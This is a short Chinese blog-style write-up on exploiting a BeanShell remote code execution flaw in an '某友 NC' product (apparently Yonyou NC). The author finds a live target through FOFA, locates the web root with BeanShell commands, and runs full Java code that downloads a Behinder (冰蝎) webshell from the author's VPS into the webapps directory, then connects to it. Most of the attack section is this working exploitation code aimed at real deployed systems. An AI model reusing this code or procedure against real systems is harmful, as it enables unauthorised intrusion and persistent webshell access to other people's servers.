起因是因为突然回想起某友beanshell漏洞,写了批量poc交补天结果撞一片。当时也只是简单exec("whoami")就完事了,最近突然萌生getshell的想法。于是在fofa上找了个幸运儿。
当我执行exec("dir")后,发现报错了。才意识到可能是语法问题
经过简单查找,在官方文档找到了beanshell的一些语法。
beanshell可以使用cd(),cat(),dir(),pwd()一系列类似unix的命令
并且知晓了beanshell可以调用java代码
这下就有思路了。先利用pwd(),dir()锁定web根目录。再编写java代码放置在beanshell中执行。这样就能远程下载vps上的冰蝎马并放置到根目录。
源码如下:
int bytesum = 0;
int byteread = 0;
URL url = new URL("http://*******/***.jsp");
try {
URLConnection conn = url.openConnection();
InputStream inStream = conn.getInputStream();
FileOutputStream fs = new FileOutputStream("***********/webapps/nc_web/*****.jsp");
byte[] buffer = new byte[1204];
int length;
while ((byteread = inStream.read(buffer)) != -1) {
bytesum += byteread;
System.out.println(bytesum);
fs.write(buffer, 0, byteread);
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
某友nc的web路径含有/webapps/ne_web/。所以这段一般是固定的。执行完后直接上冰蝎即可。